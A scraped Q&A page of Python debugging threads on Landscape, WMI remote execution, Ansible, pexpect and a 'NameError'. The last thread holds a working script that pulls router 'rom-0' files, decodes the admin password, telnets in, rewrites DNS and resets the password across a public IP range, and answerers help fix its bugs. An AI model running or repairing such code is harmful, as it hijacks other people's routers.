Python and landscape_api - python

I am working on managing Canonical CM Landscape through Python api's. I don't know if any one could help me but am stuck in one point and I don't know if it is a simple Python error of that specific library. This is part of larger script but it drops when I tried to use the last function in this listing.
import os, json, sys, subprocess, csv, datetime, time
from landscape_api.base import API, HTTPError
from subprocess import Popen,PIPE,STDOUT,call
uri = "xxxxxxxxxxxxxxxxxxxxxxxx"
key = "xxxxxxxxxxxxxxxxxxxx"
secret = "xxxxxxxxxxxxxxxxxxxxxxx"
api = API(uri, key, secret)
proc=Popen('zenity --entry --text "Fill with machine Tag to be searched" --entry- text "Type Tag"', shell=True, stdout=PIPE, ) #Input from zenity window
output=proc.communicate()[0]
user="root"
script="2408"
mac = api.execute_script(query="tag:%s", script_id="script_id:%s", username="user:%s" %(output, script, user))
Last function api.execute_script returns error
Traceback (most recent call last):
File "Python_MAC_IP.py", line 35, in <module>
mac = api.execute_script(query="tag:%s", script_id="script_id:%s", username="user:%s" %(output, script, user))
TypeError: not all arguments converted during string formatting

You can only use the % operator on a single string, not across multiple strings. What you are currently asking Python to do is insert multiple variables into a string that only has one defined.
Change this line:
mac = api.execute_script(query="tag:%s", script_id="script_id:%s", username="user:%s" %(output, script, user))
to this:
mac = api.execute_script(query="tag:%s" %tag, script_id="script_id:%s" %script, username="user:%s" %user

Related

Using WMI-Client-Wrapper to execute an exe and get output logs

Objective:
I am using Ubuntu 16.04 and am using WMI-CLient-Wrapper module to connect to a remote Windows Machine and send an executable to it(eg. Process Explorer) and further execute it and collect the logs it creates and fetch them back to my Linux Machine for further processing. Using WMI CLient Wrapper is the only option available as WMI Module doesn't work with Linux.
Problem:
I am able to send the file to the remote Windows machine, by establishing a connection using WMI-Client-Wrapper and SMB File Transfer Mechanism. After that when I try to create a Process for the same and try to execute that process it gives me an error stating that some of the attributes that WMI actually has, are not supported by WMI client Wrapper.
What I tried
Python Code:
import os
import wmi_client_wrapper as wmic
from socket import *
import time
wmic = wmic.WmiClientWrapper(
host ="192.168.115.128",
username = "LegalWrongDoer",
password = "sasuke14"
)
SW_SHOWNORMAL = 1
str = "smbclient //192.168.115.128/C$ -U LegalWrongDoer%sasuke14 -c \'put \"procexp64.exe\"\'"
os.system(str)
print("Folder sent")
process_startup = wmic.Win32_ProcessStartup.new()
process_startup.ShowWindow = SW_SHOWNORMAL
process_id, result = wmic.Win32_Process.Create(CommandLine="C:/procexp64.exe", ProcessStartupInformation=process_startup)
process_startup.ShowWindow = SW_SHOWNORMAL
if result == 0:
print("Process started successfully")
else:
print("Sorry, but can't execute Process!")
When I run this python file, it gives me the output to the initial query I make. But the Process_StartUp fails.
Further Traceback Calls:
Traceback (most recent call last):
File "WMIClient.py", line 22, in <module>
process_startup = wmic.Win32_ProcessStartup.new()
AttributeError: 'WmiClientWrapper' object has no attribute 'Win32_ProcessStartup'
I'd be extremely grateful if anyone of you can be able to help me through this. Thanks in advance :)
Well I finally managed to get a work-around for this whole scenario, and it might look a little messy but it sure does work for me.
Firstly I use smbclient to transfer the executable to the end-point where I want to execute it. Inside my code I use os.system() calls to make this happen.
import os
str1 = "smbclient //'<HostMachineIP>'/admin$ -U '<domain>\\<username>%<password>' -c \'lcd /usr/local/acpl/bin/endPoint/; put \"EndPointForeignsics.exe\"\'"
os.system(str1)
This helps me put the executable in desired shared folder that the user has access(Admin in my case) to and then use WMI-query through a tool called Winexe to get access to the console/command prompt of the end-point. I use another os.system() call to execute this again.
str2 = r'/usr/local/bin/winexe -U "<domain>\\<username>%<password>" //<HostMachineIP> "cmd /c c:\windows\EndPointForeignsics.exe '
os.system(str2)
P.S:-- Winexe is a tool that you'll have to download off the internet and compile it. It may take some time and effort to do that, but is quite achievable. You'll get a lot of help on the same from StackOverflow and Documentation of the tool.

ansible: local test new module with Error:Module unable to decode valid JSON on stdin. Unable to figure out what parameters were passed

I'm new to Python. This is my first Ansible module in order to delete the SimpleDB domain from ChaosMonkey deletion.
When tested in my local venv with my Mac OS X, it keeps saying
Module unable to decode valid JSON on stdin. Unable to figure out
what parameters were passed.
Here is the code:
#!/usr/bin/python
# Delete SimpleDB Domain
from ansible.module_utils.basic import *
import boto3
def delete_sdb_domain():
fields = dict(
sdb_domain_name=dict(required=True, type='str')
)
module = AnsibleModule(argument_spec=fields)
client = boto3.client('sdb')
response = client.delete_domain(DomainName='module.params['sdb_domain_name']')
module.exit_json(changed = False, meta = response)
def main():
delete_sdb_domain()
if __name__ == '__main__':
main()
And I'm trying to pass in parameters from this file: /tmp/args.json.
and run the following command to make the local test:
$ python ./delete_sdb_domain.py /tmp/args.json
please note I'm using venv test environment on my Mac.
If you find any syntax error in my module, please also point it out.
This is not how you should test your modules.
AnsibleModule expects to have specific JSON as stdin data.
So the closest thing you can try is:
python ./delete_sdb_domain.py < /tmp/args.json
But I bet you have your json file in wrong format (no ANSIBLE_MODULE_ARGS, etc.).
To debug your modules you can use test-module script from Ansible hacking pack:
./hacking/test-module -m delete_sdb_domain.py -a "sdb_domain_name=zzz"

Using pexpect to control kpcli

I am trying to automate ssh connectivity using keepassdb and I am just starting out the script to interrogate the keypass kpcli shell. I want it to print out the result at the end.
# -*- coding: utf -*-
import os,sys
import pexpect
global str
db_kp='/media/sf_VM_shared/passwords.kdb'
pass_kp='KDBPASSWORD'
kp = pexpect.spawn('/usr/bin/kpcli')
kp.expect('>')
kp.sendline=('open /media/sf_VM_shared/passwords.kdb')
kp.expect=('Please provide the master password:')
kp.sendline=(pass_kp)
kp.expect('>')
kp.sendline=('cd General/Network/Firewalls/SSH/')
kp.expect=('kpcli:/General/Network/Firewalls/SSH>')
kp.sendline=("show -f 0")
print(kp.before)
I am getting the following when trying to run the file:
python3 ssh_firewall.py
Traceback (most recent call last):
File "ssh_firewall.py", line 12, in <module>
kp.expect('>')
TypeError: 'str' object is not callable
On this line:
kp.expect=('Please provide the master password:')
You're replacing the expect function, rather than calling it. Take the = out:
kp.expect('Please provide the master password:')
You're doing the same thing with kp.sendline, so you'll need to fix that as well.

NameError: name 'host' is not defined

I'm new in python programming. When i try running a simple python script i get error like this in my terminal
root#bt:/tmp# python code.py
Traceback (most recent call last):
File "code.py", line 42, in <module>
print host+" -> Offline!"
NameError: name 'host' is not defined
I have been search in Google but im difficult to fix my problem because im new in this programming language. Can you help me?
This is my script like this :
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)
register_openers()
try:
os.remove("rom-0")
except:
pass
try:
host=str(sys.argv[1])
urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")
datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})
request = urllib2.Request("http://localhost/decoded.php", datagen, headers)
str1 = urllib2.urlopen(request).read()
m = re.search('rows=10>(.*)', str1)
if m:
found = m.group(1)
tn = telnetlib.Telnet(host, 23, 3)
tn.read_until("Password: ")
tn.write(found + "\n")
tn.write("set lan dhcpdns 8.8.8.8\n")
tn.write("sys password admin\n")
print host+" -> Success"
tn.write("exit\n")
except:
print host+" -> Offline!"
How i can fix error like this.?
Thanks
If i put : host=str(sys.argv[1]) before try.except show error like this :
Traceback (most recent call last):
File "code.py", line 17, in
host=str(sys.argv[1])
IndexError: list index out of range
And this is my input :
from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
os.system("python code.py "+str(ip))
Your except clause will catch any error in any line of code in the try block. If you don't specify enough arguments on the command line, the line host = str(sys.argv[1]) will fail, leaving host unassigned, which then causes the error you are seeing when you try to print it.
You should take most of the code out of your try block, really, and/or create multiple try blocks that catch errors in much smaller chunks of code. Furthermore, you should specify the actual exception type you want to handle with each except instead of trying to handle all of them. Bare except: catches things you probably don't want caught, such as KeyboardInterrupt and SystemExit. If you must catch most exceptions, use except Exception: instead of just except:.
it seem that your script expects an input parameter
host=str(sys.argv[1])
in case that parameter is not supplied, as shown in your post, an exception raised and been caught in the except clause before the host parameter was defined
try to declare host before the try/except block
you are defining host in the first line of try/except
i believe the error is in that first line.
to debug this take remove the try/except to see what the actual error is.

commands module problem

Hi I'm trying to execute bash command in python by importing commands module.I think I ask the same question here before. However this time it doesn't work.
The script is as below:
#!/usr/bin/python
import os,sys
import commands
import glob
path= '/home/xxx/nearline/bamfiles'
bamfiles = glob.glob(path + '/*.bam')
for bamfile in bamfiles:
fullpath = os.path.join(path,bamfile)
txtfile = commands.getoutput('/share/bin/samtools/samtools ' + 'view '+ fullpath)
line=txtfile.readlines()
print line
this samtools view will produce (I think) .txt file
I got the errors:
Traceback (most recent call last):
File "./try.py", line 12, in ?
txtfile = commands.getoutput('/share/bin/samtools/samtools ' + 'view '+ fullpath)
File "/usr/lib64/python2.4/commands.py", line 44, in getoutput
return getstatusoutput(cmd)[1]
File "/usr/lib64/python2.4/commands.py", line 54, in getstatusoutput
text = pipe.read()
SystemError: Objects/stringobject.c:3518: bad argument to internal function
Seems it's the problem with commands.getoutput
Thanks
I would recommend using subprocess
From the commands documentation:
Deprecated since version 2.6: The commands module has been removed in Python 3.0. Use the subprocess module instead.
Update: Just realized you're using Python 2.4. An easy way to execute a command is os.system()
A quick google search for "SystemError: Objects/stringobject.c:3518: bad argument to internal function" brings up several bug reports. Such as https://www.mercurial-scm.org/bts/issue1225 and http://www.modpython.org/pipermail/mod_python/2007-June/023852.html. It appears to be an issue with Fedora in combination with Python 2.4, but I am not exactly sure about that. I would suggest that you follow Michael's advice and use os.system or os.popen to accomplish this task. To do this the changes in your code will be:
import os,sys
import glob
path= '/home/xxx/nearline/bamfiles'
bamfiles = glob.glob(path + '/*.bam')
for bamfile in bamfiles:
fullpath = os.path.join(path,bamfile)
txtfile = os.popen('/share/bin/samtools/samtools ' + 'view '+ fullpath)
line=txtfile.readlines()
print line

Categories